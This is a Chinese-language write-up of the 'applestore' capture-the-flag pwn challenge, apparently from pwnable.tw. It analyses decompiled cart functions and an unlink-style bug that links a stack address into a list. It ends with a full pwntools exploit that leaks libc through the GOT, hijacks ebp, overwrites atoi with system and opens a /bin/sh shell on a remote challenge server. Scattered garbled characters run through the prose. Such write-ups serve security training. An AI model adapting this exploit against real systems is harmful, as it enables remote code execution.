applestore
首先看下安全機制,沒有開啟pie碉咆,可能要使用到程序中的某個地址:
[*] '/home/nevv/Desktop/applestore.dms'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
? 大概運行了程序后抖韩,是個類似購物車的功能,有增疫铜、刪茂浮、查看的功能。
add
unsigned int add()
{
char **v1; // [esp+1Ch] [ebp-2Ch]
char nptr; // [esp+26h] [ebp-22h]
unsigned int v3; // [esp+3Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Device Number> ");
fflush(stdout);
my_read(&nptr, 0x15u);
switch ( atoi(&nptr) )
{
case 1:
v1 = create((int)"iPhone 6", (char *)0xC7);
insert((int)v1);
goto LABEL_8;
case 2:
v1 = create((int)"iPhone 6 Plus", (char *)0x12B);
insert((int)v1);
goto LABEL_8;
case 3:
v1 = create((int)"iPad Air 2", (char *)0x1F3);
insert((int)v1);
goto LABEL_8;
case 4:
v1 = create((int)"iPad Mini 3", (char *)0x18F);
insert((int)v1);
goto LABEL_8;
case 5:
v1 = create((int)"iPod Touch", (char *)0xC7);
insert((int)v1);
LABEL_8:
printf("You've put *%s* in your shopping cart.\n", *v1);
puts("Brilliant! That's an amazing idea.");
break;
default:
puts("Stop doing that. Idiot!");
break;
}
return __readgsdword(0x14u) ^ v3;
}
? 然后具體看下 create 和 insert 函數(shù):
create & insert
char **__cdecl create(int a1, char *a2)
{
char **v2; // eax
char **v3; // ST1C_4
v2 = (char **)malloc(16u);
v3 = v2;
v2[1] = a2;
asprintf(v2, "%s", a1);
v3[2] = 0;
v3[3] = 0;
return v3;
}
int __cdecl insert(int a1)
{
int result; // eax
_DWORD *i; // [esp+Ch] [ebp-4h]
for ( i = &myCart; i[2]; i = (_DWORD *)i[2] )
;
i[2] = a1;
result = a1;
*(_DWORD *)(a1 + 12) = i;
return result;
}
? 可以看出購物車是一個鏈表結(jié)構(gòu):
.bss:0804B064 completed_6590 db ? ; DATA XREF: __do_global_dtors_aux↑r
.bss:0804B064 ; __do_global_dtors_aux+14↑w
.bss:0804B065 align 4
.bss:0804B068 public myCart
.bss:0804B068 myCart db ? ; ; DATA XREF: insert+6↑o
.bss:0804B068 ; main+39↑o
.bss:0804B069 db ? ;
.bss:0804B06A db ? ;
.bss:0804B06B db ? ;
.bss:0804B06C db ? ;
.bss:0804B06D db ? ;
.bss:0804B06E db ? ;
.bss:0804B06F db ? ;
.bss:0804B070 dword_804B070 dd ? ; DATA XREF: delete+18↑r
.bss:0804B070 ; cart+61↑r
.bss:0804B074 align 8
.bss:0804B074 _bss ends
.bss:0804B074
delete
unsigned int delete()
{
signed int v1; // [esp+10h] [ebp-38h]
_DWORD *v2; // [esp+14h] [ebp-34h]
int user_input; // [esp+18h] [ebp-30h]
int v4; // [esp+1Ch] [ebp-2Ch]
int v5; // [esp+20h] [ebp-28h]
char nptr; // [esp+26h] [ebp-22h]
unsigned int v7; // [esp+3Ch] [ebp-Ch]
v7 = __readgsdword(0x14u);
v1 = 1;
v2 = (_DWORD *)dword_804B070;
printf("Item Number> ");
fflush(stdout);
my_read(&nptr, 0x15u);
user_input = atoi(&nptr);
while ( v2 )
{
if ( v1 == user_input )
{
v4 = v2[2]; // next_thing
v5 = v2[3]; // prev_thing
if ( v5 )
*(_DWORD *)(v5 + 8) = v4;
if ( v4 )
*(_DWORD *)(v4 + 12) = v5;
printf("Remove %d:%s from your shopping cart.\n", v1, *v2);
return __readgsdword(0x14u) ^ v7;
}
++v1;
v2 = (_DWORD *)v2[2];
}
return __readgsdword(0x14u) ^ v7;
}
cart
? dword_804B070 存儲的是購物車的位置壳咕,索引0存儲的是商品名字席揽,索引1存儲的是價格,23是前一個和后一個商品谓厘。
int cart()
{
signed int v0; // eax
signed int v2; // [esp+18h] [ebp-30h]
int v3; // [esp+1Ch] [ebp-2Ch]
_DWORD *i; // [esp+20h] [ebp-28h]
char buf; // [esp+26h] [ebp-22h]
unsigned int v6; // [esp+3Ch] [ebp-Ch]
v6 = __readgsdword(0x14u);
v2 = 1;
v3 = 0;
printf("Let me check your cart. ok? (y/n) > ");
fflush(stdout);
my_read(&buf, 0x15u);
if ( buf == 'y' )
{
puts("==== Cart ====");
for ( i = (_DWORD *)dword_804B070; i; i = (_DWORD *)i[2] )
{
v0 = v2++;
printf("%d: %s - $%d\n", v0, *i, i[1]);
v3 += i[1];
}
}
return v3;
}
? 返回值是打印的商品價格總和
checkout
? 如果商品價格是7174個的話幌羞,會添加進去一個 iPhone8
unsigned int checkout()
{
int v1; // [esp+10h] [ebp-28h]
char *v2; // [esp+18h] [ebp-20h]
int v3; // [esp+1Ch] [ebp-1Ch]
unsigned int v4; // [esp+2Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
v1 = cart();
if ( v1 == 7174 )
{
puts("*: iPhone 8 - $1");
asprintf(&v2, "%s", "iPhone 8");
v3 = 1;
insert((int)&v2);
v1 = 7175;
}
printf("Total: $%d\n", v1);
puts("Want to checkout? Maybe next time!");
return __readgsdword(0x14u) ^ v4;
}
?
分析
- 購物車數(shù)據(jù)結(jié)構(gòu)
struct mycart{
0-4 name
4-8 price
8-12 next_thing
12-16 prev_thing
}
- free的時候并沒有調(diào)用free函數(shù)真正釋放掉空間,而是把其從雙向鏈表中取下來竟稳,類似于unlink属桦。
v4 = v2[2]; // prev_thing
v5 = v2[3]; // next_thing
if ( v5 )
*(_DWORD *)(v5 + 8) = v4;
if ( v4 )
*(_DWORD *)(v4 + 12) = v5;
- 程序沒有開啟pie熊痴,可能是要利用got表之類的,簡單看下接收輸入的函數(shù):
char *__cdecl my_read(void *buf, size_t nbytes)
{
char *result; // eax
ssize_t v3; // [esp+1Ch] [ebp-Ch]
v3 = read(0, buf, nbytes);
if ( v3 == -1 )
return (char *)puts("Input Error.");
result = (char *)buf + v3;
*((_BYTE *)buf + v3) = 0;
return result;
}
利用點
1.這里使用的是read函數(shù)來接收輸入聂宾,read函數(shù)遇到/x00是不會終止的果善,且atoi是以/x00作為分割符,在添加iphone8的時候系谐,會直接把一個棧上的地址鏈接入鏈表:
unsigned int checkout()
{
int v1; // [esp+10h] [ebp-28h]
char *v2; // [esp+18h] [ebp-20h] 位置是 ebp-20h
int v3; // [esp+1Ch] [ebp-1Ch]
unsigned int v4; // [esp+2Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
v1 = cart();
if ( v1 == 7174 )
{
puts("*: iPhone 8 - $1");
asprintf(&v2, "%s", "iPhone 8");
v3 = 1;
insert((int)&v2);
v1 = 7175;
}
printf("Total: $%d\n", v1);
puts("Want to checkout? Maybe next time!");
return __readgsdword(0x14u) ^ v4;
}
- 而在進入其他函數(shù)的時候巾陕,我們正好能控制對應(yīng)的區(qū)域:
int cart()
{
signed int v0; // eax
signed int v2; // [esp+18h] [ebp-30h]
int v3; // [esp+1Ch] [ebp-2Ch]
_DWORD *i; // [esp+20h] [ebp-28h]
char buf; // [esp+26h] [ebp-22h] // 我們能夠通過my_read函數(shù)控制的區(qū)域
unsigned int v6; // [esp+3Ch] [ebp-Ch]
v6 = __readgsdword(0x14u);
v2 = 1;
v3 = 0;
printf("Let me check your cart. ok? (y/n) > ");
fflush(stdout);
my_read(&buf, 0x15u);
if ( buf == 'y' )
{
puts("==== Cart ====");
for ( i = (_DWORD *)dword_804B070; i; i = (_DWORD *)i[2] )
{
v0 = v2++;
printf("%d: %s - $%d\n", v0, *i, i[1]);
v3 += i[1];
}
}
return v3;
}
- 在有就是在調(diào)用cart函數(shù)的時候,我們能夠控制的區(qū)域正好和添加iphone8的時候椢蹬福空間重合惜论。
綜上:
泄漏libc基地址:
- 首先構(gòu)造出添加iphone8的條件
- 然后使用cart函數(shù)構(gòu)造棧上對應(yīng)的prev_thing和next_thing指針為got表
- 調(diào)用checkout函數(shù)许赃,把iphone8鏈接入雙向鏈表
- 調(diào)用cart函數(shù)止喷,即可泄漏出libc的基址
劫持程序控制流:
- 直接unlink的話會在system函數(shù)的位置寫入值導(dǎo)致段錯誤
因此我們考慮劫持程序的ebp,在delete函數(shù)unlink后混聊,改寫其ebp的值弹谁,使其變?yōu)?atoi_got_addr + 0x22,這樣的話由于程序 atoi_got_addr + 0x22 + 0xc是可寫入的句喜,因此能夠繞過安全檢查预愤。同時在退出delete函數(shù)的時候,由于buf位置是從 ebp-0x22起始的咳胃,也就是atoi_got_addr植康,直接將其改寫為system函數(shù)的地址同時使用截斷傳入/bin/sh字符串即可。
exp
from pwn import *
def insert(n):
p.recvuntil("> ")
p.sendline("2")
p.recvuntil("> ")
p.sendline(n)
p.recvuntil("amazing idea.\n")
def delete(n):
p.recvuntil("> ")
p.sendline("3")
p.recvuntil("> ")
p.sendline(n)
def checkout():
p.recvuntil("> ")
p.sendline("5")
p.recvuntil("> ")
p.sendline("y")
p.recvuntil("Maybe next time!\n")
def cart(n):
p.recvuntil("> ")
p.sendline("4")
p.recvuntil("> ")
p.sendline("y\x00" + p32(n) + p32(0)*3)
p.recvuntil("27: ")
p = remote("139.162.123.119",10104)
elf=ELF("./applestore")
elib = ELF("./libc_32.so.6")
atoi_got_addr = elf.got["atoi"]
for i in range(6):
insert("1")
for i in range(20):
insert("2")
checkout()
cart(atoi_got_addr)
atoi_addr = u32(p.recvuntil("\n")[:4])
environ_bss = atoi_addr - elib.symbols['atoi'] + elib.symbols['environ']
cart(environ_bss)
environ_addr = u32(p.recvuntil("\n")[:4])
system_addr = atoi_addr - elib.symbols['atoi'] + elib.symbols['system']
ebp_addr = environ_addr - 0x104 # 調(diào)試得到的old ebp address of handle
ebp_new_addr = ebp_addr - 0x8 # for unlink
p.recvuntil("> ")
p.sendline("3")
p.recvuntil("> ")
p.sendline("27" + p32(0) * 2 + p32(atoi_got_addr + 0x22) + p32(ebp_new_addr))
p.recvuntil("> ")
p.sendline(p32(system_addr)+";/bin/sh\x00") # getshell
p.interactive()